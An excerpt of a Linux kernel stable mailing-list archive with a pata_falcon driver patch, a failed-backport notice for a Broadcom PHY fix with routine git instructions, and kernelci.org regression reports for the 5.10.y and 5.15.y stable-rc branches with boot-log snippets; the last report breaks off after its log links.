Cc: Geert Uytterhoeven <geert(a)linux-m68k.org>
Tested-by: William R Sowerbutts <will(a)sowerbutts.com>
Signed-off-by: Michael Schmitz <schmitzmic(a)gmail.com>
---
Changes from v2:
Finn Thain:
- add back stable Cc:
Changes from v1:
Damien Le Moal:
- change patch title
- drop stable backport tag
Changes from RFC v3:
- split off byte swap option into separate patch
Geert Uytterhoeven:
- review comments
Changes from RFC v2:
- add driver parameter 'data_swap' as bit mask for drives to swap
Changes from RFC v1:
Finn Thain:
- take care to supply IO address suitable for ioread8/iowrite8
- use MMIO address for data transfer
---
drivers/ata/pata_falcon.c | 55 ++++++++++++++++++++++++---------------
1 file changed, 34 insertions(+), 21 deletions(-)
diff --git a/drivers/ata/pata_falcon.c b/drivers/ata/pata_falcon.c
index 996516e64f13..346259e3bbc8 100644
--- a/drivers/ata/pata_falcon.c
+++ b/drivers/ata/pata_falcon.c
@@ -123,8 +123,8 @@ static int __init pata_falcon_init_one(struct platform_device *pdev)
struct resource *base_res, *ctl_res, *irq_res;
struct ata_host *host;
struct ata_port *ap;
- void __iomem *base;
- int irq = 0;
+ void __iomem *base, *ctl_base;
+ int irq = 0, io_offset = 1, reg_scale = 4;
dev_info(&pdev->dev, "Atari Falcon and Q40/Q60 PATA controller\n");
@@ -165,26 +165,39 @@ static int __init pata_falcon_init_one(struct platform_device *pdev)
ap->pio_mask = ATA_PIO4;
ap->flags |= ATA_FLAG_SLAVE_POSS | ATA_FLAG_NO_IORDY;
- base = (void __iomem *)base_mem_res->start;
/* N.B. this assumes data_addr will be used for word-sized I/O only */
- ap->ioaddr.data_addr = base + 0 + 0 * 4;
- ap->ioaddr.error_addr = base + 1 + 1 * 4;
- ap->ioaddr.feature_addr = base + 1 + 1 * 4;
- ap->ioaddr.nsect_addr = base + 1 + 2 * 4;
- ap->ioaddr.lbal_addr = base + 1 + 3 * 4;
- ap->ioaddr.lbam_addr = base + 1 + 4 * 4;
- ap->ioaddr.lbah_addr = base + 1 + 5 * 4;
- ap->ioaddr.device_addr = base + 1 + 6 * 4;
- ap->ioaddr.status_addr = base + 1 + 7 * 4;
- ap->ioaddr.command_addr = base + 1 + 7 * 4;
-
- base = (void __iomem *)ctl_mem_res->start;
- ap->ioaddr.altstatus_addr = base + 1;
- ap->ioaddr.ctl_addr = base + 1;
-
- ata_port_desc(ap, "cmd 0x%lx ctl 0x%lx",
- (unsigned long)base_mem_res->start,
- (unsigned long)ctl_mem_res->start);
+ ap->ioaddr.data_addr = (void __iomem *)base_mem_res->start;
+
+ if (base_res) { /* only Q40 has IO resources */
+ io_offset = 0x10000;
+ reg_scale = 1;
+ base = (void __iomem *)base_res->start;
+ ctl_base = (void __iomem *)ctl_res->start;
+
+ ata_port_desc(ap, "cmd %pa ctl %pa",
+ &base_res->start,
+ &ctl_res->start);
+ } else {
+ base = (void __iomem *)base_mem_res->start;
+ ctl_base = (void __iomem *)ctl_mem_res->start;
+
+ ata_port_desc(ap, "cmd %pa ctl %pa",
+ &base_mem_res->start,
+ &ctl_mem_res->start);
+ }
+
+ ap->ioaddr.error_addr = base + io_offset + 1 * reg_scale;
+ ap->ioaddr.feature_addr = base + io_offset + 1 * reg_scale;
+ ap->ioaddr.nsect_addr = base + io_offset + 2 * reg_scale;
+ ap->ioaddr.lbal_addr = base + io_offset + 3 * reg_scale;
+ ap->ioaddr.lbam_addr = base + io_offset + 4 * reg_scale;
+ ap->ioaddr.lbah_addr = base + io_offset + 5 * reg_scale;
+ ap->ioaddr.device_addr = base + io_offset + 6 * reg_scale;
+ ap->ioaddr.status_addr = base + io_offset + 7 * reg_scale;
+ ap->ioaddr.command_addr = base + io_offset + 7 * reg_scale;
+
+ ap->ioaddr.altstatus_addr = ctl_base + io_offset;
+ ap->ioaddr.ctl_addr = ctl_base + io_offset;
irq_res = platform_get_resource(pdev, IORESOURCE_IRQ, 0);
if (irq_res && irq_res->start > 0) {
--
2.17.1
2 years, 4 months
- 2
- 6
FAILED: patch "[PATCH] net: phy: broadcom: stub c45 read/write for 54810" failed to apply to 4.14-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 4.14-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-4.14.y
git checkout FETCH_HEAD
git cherry-pick -x 096516d092d54604d590827d05b1022c8f326639
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082134-chain-tubular-c681@gregkh' --subject-prefix 'PATCH 4.14.y' HEAD^..
Possible dependencies:
096516d092d5 ("net: phy: broadcom: stub c45 read/write for 54810")
5a32fcdb1e68 ("net: phy: broadcom: Add statistics for all Gigabit PHYs")
1e2e61af1996 ("net: phy: broadcom: remove BCM5482 1000Base-BX support")
15772e4ddf3f ("net: phy: broadcom: remove use of ack_interrupt()")
4567d5c3eb9b ("net: phy: broadcom: implement generic .handle_interrupt() callback")
b0ed0bbfb304 ("net: phy: broadcom: add support for BCM54811 PHY")
9d42205036d4 ("net: phy: bcm54140: Make a bunch of functions static")
6937602ed3f9 ("net: phy: add Broadcom BCM54140 support")
123aff2a789c ("net: phy: broadcom: Add support for BCM53125 internal PHYs")
fe26821fa614 ("net: phy: broadcom: Wire suspend/resume for BCM54810")
0ececcfc9267 ("net: phy: broadcom: Allow BCM54810 to use bcm54xx_adjust_rxrefclk()")
75f4d8d10e01 ("net: phy: add Broadcom BCM84881 PHY driver")
b9bcb95315fe ("net: phy: broadcom: add 1000Base-X support for BCM54616S")
283da99af1d8 ("net: phy: broadcom: Add genphy_suspend and genphy_resume for BCM5464")
dcdecdcfe1fc ("net: phy: switch drivers to use dynamic feature detection")
5c3407abb338 ("net: phy: meson-gxl: add g12a support")
356d71e00d27 ("Merge git://git.kernel.org/pub/scm/linux/kernel/git/davem/net")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From 096516d092d54604d590827d05b1022c8f326639 Mon Sep 17 00:00:00 2001
From: Justin Chen <justin.chen(a)broadcom.com>
Date: Sat, 12 Aug 2023 21:41:47 -0700
Subject: [PATCH] net: phy: broadcom: stub c45 read/write for 54810
The 54810 does not support c45. The mmd_phy_indirect accesses return
arbirtary values leading to odd behavior like saying it supports EEE
when it doesn't. We also see that reading/writing these non-existent
MMD registers leads to phy instability in some cases.
Fixes: b14995ac2527 ("net: phy: broadcom: Add BCM54810 PHY entry")
Signed-off-by: Justin Chen <justin.chen(a)broadcom.com>
Reviewed-by: Florian Fainelli <florian.fainelli(a)broadcom.com>
Link: https://lore.kernel.org/r/1691901708-28650-1-git-send-email-justin.chen@bro…
Signed-off-by: Jakub Kicinski <kuba(a)kernel.org>
diff --git a/drivers/net/phy/broadcom.c b/drivers/net/phy/broadcom.c
index 59cae0d808aa..04b2e6eeb195 100644
--- a/drivers/net/phy/broadcom.c
+++ b/drivers/net/phy/broadcom.c
@@ -542,6 +542,17 @@ static int bcm54xx_resume(struct phy_device *phydev)
return bcm54xx_config_init(phydev);
}
+static int bcm54810_read_mmd(struct phy_device *phydev, int devnum, u16 regnum)
+{
+ return -EOPNOTSUPP;
+}
+
+static int bcm54810_write_mmd(struct phy_device *phydev, int devnum, u16 regnum,
+ u16 val)
+{
+ return -EOPNOTSUPP;
+}
+
static int bcm54811_config_init(struct phy_device *phydev)
{
int err, reg;
@@ -1103,6 +1114,8 @@ static struct phy_driver broadcom_drivers[] = {
.get_strings = bcm_phy_get_strings,
.get_stats = bcm54xx_get_stats,
.probe = bcm54xx_phy_probe,
+ .read_mmd = bcm54810_read_mmd,
+ .write_mmd = bcm54810_write_mmd,
.config_init = bcm54xx_config_init,
.config_aneg = bcm5481_config_aneg,
.config_intr = bcm_phy_config_intr,
2 years, 4 months
- 3
- 2
stable-rc/linux-5.10.y baseline: 125 runs, 12 regressions (v5.10.190-123-gec001faa2c729)
by kernelci.org bot
stable-rc/linux-5.10.y baseline: 125 runs, 12 regressions (v5.10.190-123-gec001faa2c729)
Regressions Summary
-------------------
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
cubietruck | arm | lab-baylibre | gcc-10 | multi_v7_defconfig | 1
fsl-ls2088a-rdb | arm64 | lab-nxp | gcc-10 | defconfig | 1
fsl-lx2160a-rdb | arm64 | lab-nxp | gcc-10 | defconfig | 1
hp-x360-12b-c...4020-octopus | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
hp-x360-14-G1-sona | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
juno-uboot | arm64 | lab-broonie | gcc-10 | defconfig | 1
r8a774a1-hihope-rzg2m-ex | arm64 | lab-cip | gcc-10 | defconfig+arm64-chromebook | 1
r8a774b1-hihope-rzg2n-ex | arm64 | lab-cip | gcc-10 | defconfig+arm64-chromebook | 1
r8a774c0-ek874 | arm64 | lab-cip | gcc-10 | defconfig | 1
r8a774c0-ek874 | arm64 | lab-cip | gcc-10 | defconfig+arm64-chromebook | 1
rk3399-rock-pi-4b | arm64 | lab-collabora | gcc-10 | defconfig | 1
sun50i-h6-pine-h64 | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/job/stable-rc/branch/linux-5.10.y/kernel/v5.10.19…
Test: baseline
Tree: stable-rc
Branch: linux-5.10.y
Describe: v5.10.190-123-gec001faa2c729
URL: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.git
SHA: ec001faa2c7293e38e8dcdc5fcce1e8e3298316c
Test Regressions
----------------
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
cubietruck | arm | lab-baylibre | gcc-10 | multi_v7_defconfig | 1
Details: https://kernelci.org/test/plan/id/64e421e03861668bb3dc962f
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: multi_v7_defconfig
Compiler: gcc-10 (arm-linux-gnueabihf-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.10.y/v5.10.190-123-gec001fa…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.10.y/v5.10.190-123-gec001fa…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64e421e03861668bb3dc9634
failing since 216 days (last pass: v5.10.158-107-gd2432186ff47, first fail: v5.10.162-852-geeaac3cf2eb3)
2023-08-22T02:47:41.214321 + set +x<8>[ 11.152598] <LAVA_SIGNAL_ENDRUN 0_dmesg 3744915_1.5.2.4.1>
2023-08-22T02:47:41.214865
2023-08-22T02:47:41.324579 / # #
2023-08-22T02:47:41.428094 export SHELL=/bin/sh
2023-08-22T02:47:41.429036 #
2023-08-22T02:47:41.531088 / # export SHELL=/bin/sh. /lava-3744915/environment
2023-08-22T02:47:41.531947
2023-08-22T02:47:41.633934 / # . /lava-3744915/environment/lava-3744915/bin/lava-test-runner /lava-3744915/1
2023-08-22T02:47:41.635368
2023-08-22T02:47:41.635823 / # <3>[ 11.531919] Bluetooth: hci0: command 0xfc18 tx timeout
... (13 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
fsl-ls2088a-rdb | arm64 | lab-nxp | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64e422d0c6a0e8a017dc96aa
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.10.y/v5.10.190-123-gec001fa…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.10.y/v5.10.190-123-gec001fa…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64e422d0c6a0e8a017dc96ad
failing since 35 days (last pass: v5.10.142, first fail: v5.10.186-332-gf98a4d3a5cec)
2023-08-22T02:51:41.864952 + [ 15.141672] <LAVA_SIGNAL_ENDRUN 0_dmesg 1244668_1.5.2.4.1>
2023-08-22T02:51:41.865247 set +x
2023-08-22T02:51:41.971061
2023-08-22T02:51:42.072344 / # #export SHELL=/bin/sh
2023-08-22T02:51:42.072783
2023-08-22T02:51:42.173776 / # export SHELL=/bin/sh. /lava-1244668/environment
2023-08-22T02:51:42.174220
2023-08-22T02:51:42.275206 / # . /lava-1244668/environment/lava-1244668/bin/lava-test-runner /lava-1244668/1
2023-08-22T02:51:42.275960
2023-08-22T02:51:42.279258 / # /lava-1244668/bin/lava-test-runner /lava-1244668/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
fsl-lx2160a-rdb | arm64 | lab-nxp | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64e422facde11c8fb5dc95ed
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.10.y/v5.10.190-123-gec001fa…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.10.y/v5.10.190-123-gec001fa…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64e422facde11c8fb5dc95f0
failing since 171 days (last pass: v5.10.155, first fail: v5.10.172)
2023-08-22T02:52:15.024247 [ 10.637652] <LAVA_SIGNAL_ENDRUN 0_dmesg 1244669_1.5.2.4.1>
2023-08-22T02:52:15.129573
2023-08-22T02:52:15.230861 / # #export SHELL=/bin/sh
2023-08-22T02:52:15.231288
2023-08-22T02:52:15.332289 / # export SHELL=/bin/sh. /lava-1244669/environment
2023-08-22T02:52:15.332695
2023-08-22T02:52:15.433727 / # . /lava-1244669/environment/lava-1244669/bin/lava-test-runner /lava-1244669/1
2023-08-22T02:52:15.434432
2023-08-22T02:52:15.438297 / # /lava-1244669/bin/lava-test-runner /lava-1244669/1
2023-08-22T02:52:15.452934 + export 'TESTRUN_ID=1_bootrr'
... (11 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
hp-x360-12b-c...4020-octopus | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64e420e9de0f204bcddc95da
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.10.y/v5.10.190-123-gec001fa…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.10.y/v5.10.190-123-gec001fa…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64e420e9de0f204bcddc95df
failing since 146 days (last pass: v5.10.176, first fail: v5.10.176-105-g18265b240021)
2023-08-22T02:43:48.982483 + set +x
2023-08-22T02:43:48.988852 <8>[ 15.258919] <LAVA_SIGNAL_ENDRUN 0_dmesg 11328492_1.4.2.3.1>
2023-08-22T02:43:49.092789 / # #
2023-08-22T02:43:49.193339 export SHELL=/bin/sh
2023-08-22T02:43:49.193520 #
2023-08-22T02:43:49.294016 / # export SHELL=/bin/sh. /lava-11328492/environment
2023-08-22T02:43:49.294196
2023-08-22T02:43:49.394699 / # . /lava-11328492/environment/lava-11328492/bin/lava-test-runner /lava-11328492/1
2023-08-22T02:43:49.394971
2023-08-22T02:43:49.399886 / # /lava-11328492/bin/lava-test-runner /lava-11328492/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
hp-x360-14-G1-sona | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64e420eade0f204bcddc95e5
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.10.y/v5.10.190-123-gec001fa…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.10.y/v5.10.190-123-gec001fa…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64e420eade0f204bcddc95ea
failing since 146 days (last pass: v5.10.176, first fail: v5.10.176-105-g18265b240021)
2023-08-22T02:43:40.778307 <8>[ 12.925648] <LAVA_SIGNAL_ENDRUN 0_dmesg 11328529_1.4.2.3.1>
2023-08-22T02:43:40.781805 + set +x
2023-08-22T02:43:40.882900 #
2023-08-22T02:43:40.883152
2023-08-22T02:43:40.983666 / # #export SHELL=/bin/sh
2023-08-22T02:43:40.983815
2023-08-22T02:43:41.084296 / # export SHELL=/bin/sh. /lava-11328529/environment
2023-08-22T02:43:41.084460
2023-08-22T02:43:41.184918 / # . /lava-11328529/environment/lava-11328529/bin/lava-test-runner /lava-11328529/1
2023-08-22T02:43:41.185167
... (13 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
juno-uboot | arm64 | lab-broonie | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64e42302cde11c8fb5dc95f8
Results: 50 PASS, 11 FAIL, 1 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.10.y/v5.10.190-123-gec001fa…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.10.y/v5.10.190-123-gec001fa…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64e42303cde11c8fb5dc9634
new failure (last pass: v5.10.191)
2023-08-22T02:52:26.774043 <8>[ 29.056817] <LAVA_SIGNAL_ENDRUN 0_dmesg 63625_1.5.2.4.1>
2023-08-22T02:52:26.882407 / # #
2023-08-22T02:52:26.985300 export SHELL=/bin/sh
2023-08-22T02:52:26.986068 #
2023-08-22T02:52:27.088086 / # export SHELL=/bin/sh. /lava-63625/environment
2023-08-22T02:52:27.088876
2023-08-22T02:52:27.190879 / # . /lava-63625/environment/lava-63625/bin/lava-test-runner /lava-63625/1
2023-08-22T02:52:27.192178
2023-08-22T02:52:27.206229 / # /lava-63625/bin/lava-test-runner /lava-63625/1
2023-08-22T02:52:27.265103 + export 'TESTRUN_ID=1_bootrr'
... (11 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
r8a774a1-hihope-rzg2m-ex | arm64 | lab-cip | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64e42365c9f70d7e9edc962e
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.10.y/v5.10.190-123-gec001fa…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.10.y/v5.10.190-123-gec001fa…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64e42365c9f70d7e9edc9631
failing since 35 days (last pass: v5.10.186-221-gf178eace6e074, first fail: v5.10.186-332-gf98a4d3a5cec)
2023-08-22T02:54:04.403180 + set +x
2023-08-22T02:54:04.403316 <8>[ 83.445639] <LAVA_SIGNAL_ENDRUN 0_dmesg 999184_1.5.2.4.1>
2023-08-22T02:54:04.509196 / # #
2023-08-22T02:54:05.968812 export SHELL=/bin/sh
2023-08-22T02:54:05.989264 #
2023-08-22T02:54:05.989416 / # export SHELL=/bin/sh
2023-08-22T02:54:07.871170 / # . /lava-999184/environment
2023-08-22T02:54:11.323169 /lava-999184/bin/lava-test-runner /lava-999184/1
2023-08-22T02:54:11.343941 . /lava-999184/environment
2023-08-22T02:54:11.344054 / # /lava-999184/bin/lava-test-runner /lava-999184/1
... (28 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
r8a774b1-hihope-rzg2n-ex | arm64 | lab-cip | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64e4247891b4053a50dc95d3
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.10.y/v5.10.190-123-gec001fa…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.10.y/v5.10.190-123-gec001fa…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64e4247891b4053a50dc95d6
failing since 35 days (last pass: v5.10.186-221-gf178eace6e074, first fail: v5.10.186-332-gf98a4d3a5cec)
2023-08-22T02:58:42.568744 + set +x
2023-08-22T02:58:42.568962 <8>[ 84.000930] <LAVA_SIGNAL_ENDRUN 0_dmesg 999188_1.5.2.4.1>
2023-08-22T02:58:42.674400 / # #
2023-08-22T02:58:44.136760 export SHELL=/bin/sh
2023-08-22T02:58:44.157337 #
2023-08-22T02:58:44.157542 / # export SHELL=/bin/sh
2023-08-22T02:58:46.043734 / # . /lava-999188/environment
2023-08-22T02:58:49.503319 /lava-999188/bin/lava-test-runner /lava-999188/1
2023-08-22T02:58:49.525039 . /lava-999188/environment
2023-08-22T02:58:49.525354 / # /lava-999188/bin/lava-test-runner /lava-999188/1
... (15 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
r8a774c0-ek874 | arm64 | lab-cip | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64e4231137de57006fdc95ec
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.10.y/v5.10.190-123-gec001fa…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.10.y/v5.10.190-123-gec001fa…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64e4231137de57006fdc95ef
failing since 35 days (last pass: v5.10.186-221-gf178eace6e074, first fail: v5.10.186-332-gf98a4d3a5cec)
2023-08-22T02:52:53.228158 / # #
2023-08-22T02:52:54.687626 export SHELL=/bin/sh
2023-08-22T02:52:54.708089 #
2023-08-22T02:52:54.708206 / # export SHELL=/bin/sh
2023-08-22T02:52:56.590474 / # . /lava-999181/environment
2023-08-22T02:53:00.042421 /lava-999181/bin/lava-test-runner /lava-999181/1
2023-08-22T02:53:00.063051 . /lava-999181/environment
2023-08-22T02:53:00.063157 / # /lava-999181/bin/lava-test-runner /lava-999181/1
2023-08-22T02:53:00.139386 + export 'TESTRUN_ID=1_bootrr'
2023-08-22T02:53:00.139593 + cd /lava-999181/1/tests/1_bootrr
... (25 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
r8a774c0-ek874 | arm64 | lab-cip | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64e424153dfd872449dc95da
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.10.y/v5.10.190-123-gec001fa…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.10.y/v5.10.190-123-gec001fa…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64e424153dfd872449dc95dd
failing since 35 days (last pass: v5.10.186-221-gf178eace6e074, first fail: v5.10.186-332-gf98a4d3a5cec)
2023-08-22T02:56:54.253862 / # #
2023-08-22T02:56:55.715660 export SHELL=/bin/sh
2023-08-22T02:56:55.736077 #
2023-08-22T02:56:55.736204 / # export SHELL=/bin/sh
2023-08-22T02:56:57.617649 / # . /lava-999187/environment
2023-08-22T02:57:01.073319 /lava-999187/bin/lava-test-runner /lava-999187/1
2023-08-22T02:57:01.094118 . /lava-999187/environment
2023-08-22T02:57:01.094228 / # /lava-999187/bin/lava-test-runner /lava-999187/1
2023-08-22T02:57:01.173765 + export 'TESTRUN_ID=1_bootrr'
2023-08-22T02:57:01.173979 + cd /lava-999187/1/tests/1_bootrr
... (25 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
rk3399-rock-pi-4b | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64e42364fdd96cedd2dc95cc
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.10.y/v5.10.190-123-gec001fa…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.10.y/v5.10.190-123-gec001fa…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64e42364fdd96cedd2dc95cd
new failure (last pass: v5.10.191)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
sun50i-h6-pine-h64 | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64e4227d166cdbc4d1dc964a
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.10.y/v5.10.190-123-gec001fa…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.10.y/v5.10.190-123-gec001fa…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64e4227d166cdbc4d1dc964f
failing since 35 days (last pass: v5.10.186-221-gf178eace6e074, first fail: v5.10.186-332-gf98a4d3a5cec)
2023-08-22T02:51:53.875255 / # #
2023-08-22T02:51:53.977216 export SHELL=/bin/sh
2023-08-22T02:51:53.977929 #
2023-08-22T02:51:54.079343 / # export SHELL=/bin/sh. /lava-11328591/environment
2023-08-22T02:51:54.080040
2023-08-22T02:51:54.181413 / # . /lava-11328591/environment/lava-11328591/bin/lava-test-runner /lava-11328591/1
2023-08-22T02:51:54.182407
2023-08-22T02:51:54.199892 / # /lava-11328591/bin/lava-test-runner /lava-11328591/1
2023-08-22T02:51:54.241453 + export 'TESTRUN_ID=1_bootrr'
2023-08-22T02:51:54.257364 + cd /lava-1132859<8>[ 18.246987] <LAVA_SIGNAL_STARTRUN 1_bootrr 11328591_1.5.2.4.5>
... (10 line(s) more)
2 years, 4 months
- 1
- 0
stable-rc/linux-5.15.y baseline: 89 runs, 6 regressions (v5.15.127-138-gfc9952e796d10)
by kernelci.org bot
stable-rc/linux-5.15.y baseline: 89 runs, 6 regressions (v5.15.127-138-gfc9952e796d10)
Regressions Summary
-------------------
platform | arch | lab | compiler | defconfig | regressions
-------------------+-------+---------------+----------+---------------------+------------
beagle-xm | arm | lab-baylibre | gcc-10 | omap2plus_defconfig | 1
cubietruck | arm | lab-baylibre | gcc-10 | multi_v7_defconfig | 1
fsl-ls2088a-rdb | arm64 | lab-nxp | gcc-10 | defconfig | 1
fsl-lx2160a-rdb | arm64 | lab-nxp | gcc-10 | defconfig | 1
r8a779m1-ulcb | arm64 | lab-collabora | gcc-10 | defconfig | 1
sun50i-h6-pine-h64 | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/job/stable-rc/branch/linux-5.15.y/kernel/v5.15.12…
Test: baseline
Tree: stable-rc
Branch: linux-5.15.y
Describe: v5.15.127-138-gfc9952e796d10
URL: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.git
SHA: fc9952e796d10f995ee74ab63b7f990fec0d8eca
Test Regressions
----------------
platform | arch | lab | compiler | defconfig | regressions
-------------------+-------+---------------+----------+---------------------+------------
beagle-xm | arm | lab-baylibre | gcc-10 | omap2plus_defconfig | 1
Details: https://kernelci.org/test/plan/id/64e41bde11327b4ee8dc95d9
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: omap2plus_defconfig
Compiler: gcc-10 (arm-linux-gnueabihf-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.15.y/v5.15.127-138-gfc9952e…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.15.y/v5.15.127-138-gfc9952e…
